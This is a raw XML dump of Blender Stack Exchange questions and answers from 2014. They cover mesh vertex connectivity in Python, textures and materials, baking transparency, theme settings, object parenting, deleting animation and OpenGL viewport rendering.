  <row Id="15181" PostTypeId="2" ParentId="15153" CreationDate="2014-08-21T22:14:02.170" Score="5" Body="&lt;p&gt;Assuming the following definitions are a correct interpretation of what you are asking...&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;directly: connected by a single edge&lt;/p&gt;&#xA;&lt;p&gt;indirectly: connected through a continuous path of N edges&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;...then the following code will find all directly or indirectly connected vertices of a given vertex. findConnectedVerts() takes the vertex of interest plus a maximum depth as arguments. It will then recursively find the connected vertices. I've tested this on a cube to verify that depth 1 yields the directly connected vertices, depth 2 yields all but a single vertex (which is 3 away) and depth 3 yields all the vertices in the cube (well, not the vertex passed in).&lt;/p&gt;&#xA;&lt;p&gt;Note: I wasn't considering performance only functionality&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def getEdgesForVertex(v_index, mesh, marked_edges):&#xA;    all_edges = [e for e in mesh.edges if v_index in e.vertices]&#xA;    unmarked_edges = [e for e in all_edges if e.index not in marked_edges]&#xA;    return unmarked_edges&#xA;&#xA;def findConnectedVerts(v_index, mesh, connected_verts, marked_edges, maxdepth=1, level=0):  &#xA;    if level &amp;gt;= maxdepth:&#xA;        return&#xA;&#xA;    edges = getEdgesForVertex(v_index, mesh, marked_edges)&#xA;&#xA;    for e in edges:&#xA;        othr_v_index = [idx for idx in mesh.edges[e.index].vertices if idx != v_index][0]&#xA;        connected_verts[othr_v_index] = True&#xA;        marked_edges.append(e.index)&#xA;        findConnectedVerts(othr_v_index, mesh, connected_verts, marked_edges, maxdepth=maxdepth, level=level+1)&#xA;&#xA;def main():&#xA;    mesh = bpy.context.object.data&#xA;        &#xA;    connected_verts = {}&#xA;    marked_edges = []&#xA;&#xA;    findConnectedVerts(0, mesh, connected_verts, marked_edges, maxdepth=1)&#xA;    print(&amp;quot;,&amp;quot;.join([str(v) for v in connected_verts.keys()]))&#xA;&#xA;    connected_verts = {}&#xA;    marked_edges = []&#xA;&#xA;    findConnectedVerts(0, mesh, connected_verts, marked_edges, maxdepth=2)&#xA;    print(&amp;quot;,&amp;quot;.join([str(v) for v in connected_verts.keys()]))&#xA;&#xA;    connected_verts = {}&#xA;    marked_edges = []&#xA;    &#xA;    findConnectedVerts(0, mesh, connected_verts, marked_edges, maxdepth=3)&#xA;    print(&amp;quot;,&amp;quot;.join([str(v) for v in connected_verts.keys()]))&#xA;&#xA;main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5668" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-08-23T19:19:02.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15183" PostTypeId="1" CreationDate="2014-08-21T22:28:28.917" Score="2" ViewCount="682" Body="&lt;p&gt;I have only dragged pictures onto my objects for my animation and I'm guessing thats what the problem is. It shows up fine in edit mode or whatever but when i go to render it, it is completely white. Could someone please look at my file and tell me what I did wrong and how to fix it? &lt;a href=&quot;http://pasteall.org/blend/31117&quot; rel=&quot;nofollow&quot;&gt;http://pasteall.org/blend/31117&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5709" LastEditorUserId="599" LastEditDate="2014-08-21T22:36:50.770" LastActivityDate="2014-09-20T23:23:37.017" Title="How do I make my textures show up in render?" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15184" PostTypeId="2" ParentId="15183" CreationDate="2014-08-21T22:33:18.757" Score="1" Body="&lt;p&gt;You've created a world texture, but I think you want a material texture.&lt;/p&gt;&#xA;&lt;p&gt;To add a texture to a object, you must first create a material:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;With the moon object selected, press &lt;em&gt;new&lt;/em&gt; in &lt;em&gt;Properties &amp;gt; Material&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pMULZ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now you can assign the texture you already created to your object, by selecting it in the texture panel, making sure that the middle option (checkered ball icon) is selected:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8dXXa.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-08-21T22:33:18.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15185" PostTypeId="1" CreationDate="2014-08-21T22:41:18.473" Score="2" ViewCount="7607" Body="&lt;p&gt;I'm trying to bake tile maps into a single texture for someone and I'm having difficulties baking transparency.&lt;br&gt;&#xA;For example one texture is literally transparency with baked shadows but this bakes as a white texture with gray shading.&lt;br&gt;&#xA;All images are .tga format and are between 128^2 and 512^2 resolution.&lt;/p&gt;&#xA;" OwnerUserId="5710" LastEditorUserId="2217" LastEditDate="2014-10-16T15:38:39.647" LastActivityDate="2015-02-13T20:50:01.193" Title="Textures bake transparency as white" Tags="&lt;blender-internal-render-engine&gt;&lt;transparency&gt;&lt;texture-baking&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15186" PostTypeId="1" AcceptedAnswerId="15187" CreationDate="2014-08-21T23:24:56.293" Score="1" ViewCount="177" Body="&lt;p&gt;Where are the color options for the spacebar search menu background?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1QHww.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-08-22T00:02:36.717" Title="Where are the theme options for the spacebar search menu?" Tags="&lt;customization&gt;&lt;theme&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15187" PostTypeId="2" ParentId="15186" CreationDate="2014-08-22T00:02:36.717" Score="2" Body="&lt;p&gt;That would be &lt;em&gt;Inner Selected&lt;/em&gt; and the color options can be found under &lt;em&gt;Menu Back&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NB:&lt;/strong&gt; Changing some of these values will affect similar popup dialogs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rJp2A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-08-22T00:02:36.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15188" PostTypeId="2" ParentId="15177" CreationDate="2014-08-22T00:09:34.267" Score="1" Body="&lt;p&gt;Some of the colors here re-use generic names (and it isn't always very logical)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;code&gt;Menu Item -&amp;gt; Color -&amp;gt; Inner&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-08-22T00:17:21.757" LastActivityDate="2014-08-22T00:17:21.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15189" PostTypeId="2" ParentId="15167" CreationDate="2014-08-22T00:53:38.887" Score="3" Body="&lt;p&gt;An alternative to weight paint is &lt;strong&gt;Vertex Paint&lt;/strong&gt;. Vertex paint can be, unlike weight paint, accessed in cycles. After applying your modifier, you can use the information in &lt;a href=&quot;https://blender.stackexchange.com/a/15176/3127&quot;&gt;this answer&lt;/a&gt; to convert your weight paint data to Vertex Colors. Once this is complete, simply use an attribute node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HiPAt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-08-22T00:53:38.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15192" PostTypeId="1" CreationDate="2014-08-22T03:24:04.943" Score="1" ViewCount="132" Body="&lt;p&gt;I am new to creating games and had 1 problem... I was setting things in game logic and everything went smoothly. The walk animation and stand animation of my character has no problem untill i create a box and parent the character to it... i am trying to make my character move instead of just  doing the movement . The character started moving and the animation go along with it -works fine- But there is a minor problem. The character will move up abit when i press w to move.... i didnt set anything to the z location... here is the file of my project.&#xA;&lt;a href=&quot;http://www.mediafire.com/download/149cf046t4vvlxx/walk+cycle%282%29.blend&quot; rel=&quot;nofollow&quot;&gt;http://www.mediafire.com/download/149cf046t4vvlxx/walk+cycle%282%29.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;press p to play and press w to walk ... u will see the problem&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2014-08-22T03:24:04.943" Title="The walking problems of my character -game engine-" Tags="&lt;armature&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15195" PostTypeId="1" CreationDate="2014-08-22T07:59:09.357" Score="4" ViewCount="4280" Body="&lt;p&gt;I am creating a wall section which will be a wall with a hole and in the hole's place a couple of doors and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For ease of putting things in place I first create an empty node. Then add a wall and doors as children of the empty node. If I relocate the empty node, the meshes of the wall and doors follow along.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What bugs me is I want to locate the doors and wall relative to the location of the parent, empty node. How do I do this? It seems that even though an object has a parent node, the Location in X/Y/Z is specified in the global world. It would be easier to specify this relative to the parent node. So with a pair of doors I could just set something like X: -0.5 for the left door and the right door would get 0.5. Is there any way?&lt;/p&gt;&#xA;" OwnerUserId="5437" LastEditorUserId="599" LastEditDate="2014-08-23T09:01:22.093" LastActivityDate="2014-09-24T10:55:31.677" Title="Have location of grouped objects relative to parent object" Tags="&lt;objects&gt;&lt;transforms&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15196" PostTypeId="1" AcceptedAnswerId="15220" CreationDate="2014-08-22T09:05:52.097" Score="4" ViewCount="5522" Body="&lt;p&gt;I would make this mesh's extrusion be at about a 45° angle instead of a 90° angle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nqRAd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking the bottom vertices and scaling them kind of gets what I want, but many vertices go the opposite direction that I want them to go, because every vertex is moving in relation to the center of the object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eCq3l.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make the bottom vertices go like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K0K7f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="341" LastActivityDate="2014-08-23T09:09:35.803" Title="What's the best way to extrude and expand complex objects?" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15197" PostTypeId="1" CreationDate="2014-08-22T09:16:20.140" Score="2" ViewCount="1667" Body="&lt;p&gt;so I as a Blender newbie is trying to model a hollow building. I was wondering if there's any easy way to turn this flat plain surface into an actual wall with thickness. The challenge is that it has window gaps, the wall is slanted outwards and that the walls are part of an octogon. How do I model an evenly thick wall from this here?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nfNGv.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="5289" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-08-22T20:47:02.990" Title="How can I turn a geometric shape into a hollow room with evenly thick walls?" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-08-22T20:46:33.587" ContentLicense="CC BY-SA 3.0" />
  <row Id="15198" PostTypeId="1" CreationDate="2014-08-22T09:42:31.970" Score="17" ViewCount="54283" Body="&lt;p&gt;Sorry for a simple question, but I have animated the movement of a door; just a movement of the X axis. Turns out I'll do this in code instead, so I want to delete this animation. How do I delete an animation completely from an object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For that matter, at this point I could just as well delete everything animation related, so any hint of how to do that would be OK.&lt;/p&gt;&#xA;" OwnerUserId="5437" LastEditorUserId="5437" LastEditDate="2014-08-22T09:52:05.583" LastActivityDate="2021-04-16T01:06:08.387" Title="Delete animation of object" Tags="&lt;animation&gt;" AnswerCount="7" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15199" PostTypeId="1" AcceptedAnswerId="15205" CreationDate="2014-08-22T10:47:07.760" Score="3" ViewCount="32841" Body="&lt;p&gt;As illustrated in the screenshot, the geometry on the non-visible part of the mesh is visible in edit mode, even when the viewport shading mode is set to &lt;code&gt;Solid&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LCdbN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It gets difficult to see and select geometry efficiently when this happens. I've observed that this happens when I set the units to centimeters (also in the screenshot).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug? Is there a workaround? If this is a bug, where is the best place to report it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download my .blend file &lt;a href=&quot;https://dl.dropboxusercontent.com/u/42899760/gun.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; (size 7.53 MB).&lt;/p&gt;&#xA;" OwnerUserId="978" LastEditorUserId="978" LastEditDate="2014-08-22T11:41:33.077" LastActivityDate="2014-08-22T11:41:33.077" Title="Mesh becomes see-through in edit mode" Tags="&lt;modeling&gt;&lt;3d-view&gt;&lt;editing&gt;" AnswerCount="2" CommentCount="0" ClosedDate="2014-08-23T07:45:46.653" ContentLicense="CC BY-SA 3.0" />
  <row Id="15200" PostTypeId="2" ParentId="15198" CreationDate="2014-08-22T10:48:49.943" Score="4" Body="&lt;p&gt;Select any keyframe in the timeline, or similar, and press &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;I&lt;/kbd&gt;. To check that a keyframe is selected, the frame number in the bottom left is orange (in the default theme); You can also press the highlighted button to jump to the next keyframe, or &lt;kbd&gt;Up Arrow&lt;/kbd&gt; and &lt;kbd&gt;Down Arrow&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CQJBR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-08-22T10:48:49.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15201" PostTypeId="2" ParentId="15199" CreationDate="2014-08-22T10:53:43.463" Score="13" Body="&lt;p&gt;It's not a bug, it's a feature! It's called &quot;Limit Selection to visible&quot;, and it limits selection to the visible faces. To enable the Limiting, you have to click this button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2vNYn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2014-08-22T11:19:30.293" LastActivityDate="2014-08-22T11:19:30.293" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15202" PostTypeId="2" ParentId="15197" CreationDate="2014-08-22T10:59:08.217" Score="1" Body="&lt;p&gt;You can use the &lt;em&gt;Solidify&lt;/em&gt; modifier; To add it to a object, select said object, go to the &lt;em&gt;Properties&lt;/em&gt;, and in the tab &lt;em&gt;Modifiers&lt;/em&gt; click &lt;em&gt;Add Modifier&lt;/em&gt; and select &lt;em&gt;Solidify&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ebINC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can adjust the &lt;em&gt;Thickness&lt;/em&gt; value.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="12" LastEditDate="2014-08-22T20:47:02.990" LastActivityDate="2014-08-22T20:47:02.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15205" PostTypeId="2" ParentId="15199" CreationDate="2014-08-22T11:38:35.337" Score="13" Body="&lt;p&gt;For reasons I can't fully comprehend, the cause of this weird display behavior is the view clipping distance. The issue was resolved when I set the clip end to its default value of 10m.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still not sure whether this is a bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Eaxlq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="978" LastActivityDate="2014-08-22T11:38:35.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15206" PostTypeId="1" AcceptedAnswerId="15212" CreationDate="2014-08-20T13:56:02.740" Score="3" ViewCount="9344" Body="&lt;p&gt;I know that by default I can render the viewport and everithing that is in the viewport to be the same as in the render. But, when comparing 3DS Max to Blender, I have certain limitations. In Blender I can render the view-port with vertices/edges/faces to be shown, to be selected, but not the reflections, shadows and such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to render the viewport in Blender as it is in 3DS Max?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how I can do it in 3DS Max:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Viewport look&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t6ekj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Render result of the viewport&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6z6v5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how I can do it in Blender:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Viewport look:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yUDvc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/etAhS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Render result of the viewport&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WvKJq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dvEUt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" OwnerDisplayName="Vladimir" LastEditorUserId="3398" LastEditDate="2014-08-22T20:39:35.490" LastActivityDate="2015-10-28T15:10:53.730" Title="Is there a way to capture the viewport in Blender the same way as it is on 3DS Max?" Tags="&lt;rendering&gt;&lt;3d-view&gt;" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15207" PostTypeId="1" AcceptedAnswerId="15208" CreationDate="2014-08-22T13:23:15.343" Score="9" ViewCount="4974" Body="&lt;p&gt;I'm trying to setup a image decal in cycles, and I can't figure how to setup the nodes to work fine. Does anyone know the solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/31125&quot; rel=&quot;noreferrer&quot;&gt;blendFile&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NwH4n.png&quot; alt=&quot;node setup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="2217" LastEditDate="2014-08-22T17:32:01.650" LastActivityDate="2014-08-22T17:32:01.650" Title="Setup a decal material in cycles" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="2" ClosedDate="2014-08-28T19:03:53.007" ContentLicense="CC BY-SA 3.0" />
  <row Id="15208" PostTypeId="2" ParentId="15207" CreationDate="2014-08-22T13:36:18.630" Score="10" Body="&lt;p&gt;Just have to plug the alpha value of the decal into the factor socket of the mix node. Hope it is useful for someone in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OghUu.png&quot; alt=&quot;solution&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2014-08-22T13:36:18.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15210" PostTypeId="1" AcceptedAnswerId="15213" CreationDate="2014-08-22T14:00:09.530" Score="0" ViewCount="196" Body="&lt;p&gt;I'm trying to connect the arm (which is a separate object) to a bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o0bYH.png&quot; alt=&quot;http://i.imgur.com/lTOTfuP.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I'm doing:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select the armature&lt;/li&gt;&#xA;&lt;li&gt;go into [pose mode]&lt;/li&gt;&#xA;&lt;li&gt;select the arm&lt;/li&gt;&#xA;&lt;li&gt;select the bone&lt;/li&gt;&#xA;&lt;li&gt;[make parent]&lt;/li&gt;&#xA;&lt;li&gt;[bone]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;it ends up looking like this (zoomed out a lot):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/410eK.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;what am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="5717" LastEditorUserId="12" LastEditDate="2014-08-22T23:41:58.207" LastActivityDate="2014-08-22T23:41:58.207" Title="Parenting an object to a bone displaces it" Tags="&lt;armature&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15211" PostTypeId="2" ParentId="15206" CreationDate="2014-08-22T15:05:05.293" Score="4" Body="&lt;p&gt;Being a user of both blender and 3ds max, one thing that bugged me at first about blender was that you can only render an image through a camera.  But here are a couple of things I use in blender instead.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You can use the rendered view mode (as opposed to solid, wireframe, etc.) to preview what a render looks like.  For cycles the number of preview samples are right below the normal render samples setting in &lt;em&gt;Properties editor &amp;gt; render settings &amp;gt; Sampling&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Mck6.png&quot; alt=&quot;preview samples and rendered view mode&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In Blender, if you want to actually do a full render, with compositing etc., you have to render through a camera.  You can use the hotkey &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Numpad 0&lt;/kbd&gt; to move the &lt;a href=&quot;https://blender.stackexchange.com/questions/3502/how-can-i-make-a-camera-the-active-one/&quot;&gt;active camera&lt;/a&gt; to the viewport and render like normal.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As &lt;a href=&quot;https://blender.stackexchange.com/a/15212/5705&quot;&gt;iKlsR suggested&lt;/a&gt;, you can perform an &lt;a href=&quot;http://www.blender.org/manual/render/opengl.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;OpenGL render&lt;/a&gt;.  But keep in mind that this will render it to essentially look like it does in the viewport, ignoring cycles lighting and materials.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-10-28T15:10:53.730" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15212" PostTypeId="2" ParentId="15206" CreationDate="2014-08-22T15:30:08.637" Score="5" Body="&lt;p&gt;You can perform an OpenGL render. Simply press the little camera in the &lt;em&gt;3d view&lt;/em&gt; header or go to &lt;em&gt;Render &gt; OpenGL Render Image&lt;/em&gt;. It will render out a snapshot of your current view as it is, no cameras or lights needed. You can also change the world settings if the default gray is too bland and also the resolution. More info on the relevant &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Vitals/Quick_render&quot; rel=&quot;noreferrer&quot;&gt;wiki page&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DxjyZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2014-08-22T15:41:26.793" LastActivityDate="2014-08-22T15:41:26.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15213" PostTypeId="2" ParentId="15210" CreationDate="2014-08-22T17:42:52.403" Score="1" Body="&lt;p&gt;I didn't understand the way the hierarchy works and transforms etc... now I do. I had to &quot;apply&quot; the transformation of the objects.&lt;/p&gt;&#xA;" OwnerUserId="5717" LastActivityDate="2014-08-22T17:42:52.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15214" PostTypeId="2" ParentId="15206" CreationDate="2014-08-22T18:57:13.713" Score="2" Body="&lt;p&gt;Expanding on &lt;a href=&quot;https://blender.stackexchange.com/a/15212/599&quot;&gt;iKlsR's answer&lt;/a&gt;, you can go into textured view and enable GLSL get shading from lamps, and enable &lt;em&gt;Only render&lt;/em&gt; to remove non-rendered elements such as the camera and background:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vpKKX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2014-08-22T19:07:44.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15215" PostTypeId="2" ParentId="15198" CreationDate="2014-08-22T19:31:00.870" Score="5" Body="&lt;h1&gt;Deleting animation of specific property:&lt;/h1&gt;&#xA;&lt;p&gt;You can also right click on the animated value and click &lt;em&gt;clear keyframes&lt;/em&gt; to automatically delete all keyframes on that value.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4jYf6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the case of a transform channel, &lt;em&gt;clear keyframes&lt;/em&gt; will clear the keyframes of the X Y and Z. If you only want to delete all the keyframes on one channel, right click on that channel and select &lt;em&gt;Clear single keyframe&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h1&gt;Deleting all animation:&lt;/h1&gt;&#xA;&lt;p&gt;Go to the dopesheet or graph editor, make sure that the &lt;em&gt;show keyframe on selected objects only&lt;/em&gt; option (cursor icon) is disabled and that &lt;em&gt;show keyframes on hidden objects&lt;/em&gt; (ghost icon) is enabled, press &lt;kbd&gt;A&lt;/kbd&gt; to select all, and then press &lt;kbd&gt;X&lt;/kbd&gt; or &lt;kbd&gt;⌦ Delete&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VOv3j.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-08-22T19:37:24.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15216" PostTypeId="2" ParentId="15155" CreationDate="2014-08-22T19:59:43.243" Score="1" Body="&lt;p&gt;The module, to be correctly found by the standalone player, must be placed inside &lt;code&gt;&amp;lt;my_blender_folder&amp;gt;/2.71/python/lib/python3.4/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it's completely different from the embedded player (used normally by hitting &lt;code&gt;p&lt;/code&gt; in the game engine) (which is &lt;code&gt;&amp;lt;my_blender_folder&amp;gt;/2.71/scripts/addons/&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I finally found it by using a &lt;code&gt;import sys; print(sys.path)&lt;/code&gt; and using the standalone player.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This info doesn't seem to be found anywhere in the API docs strangely.&lt;/p&gt;&#xA;" OwnerUserId="5640" LastActivityDate="2014-08-22T19:59:43.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
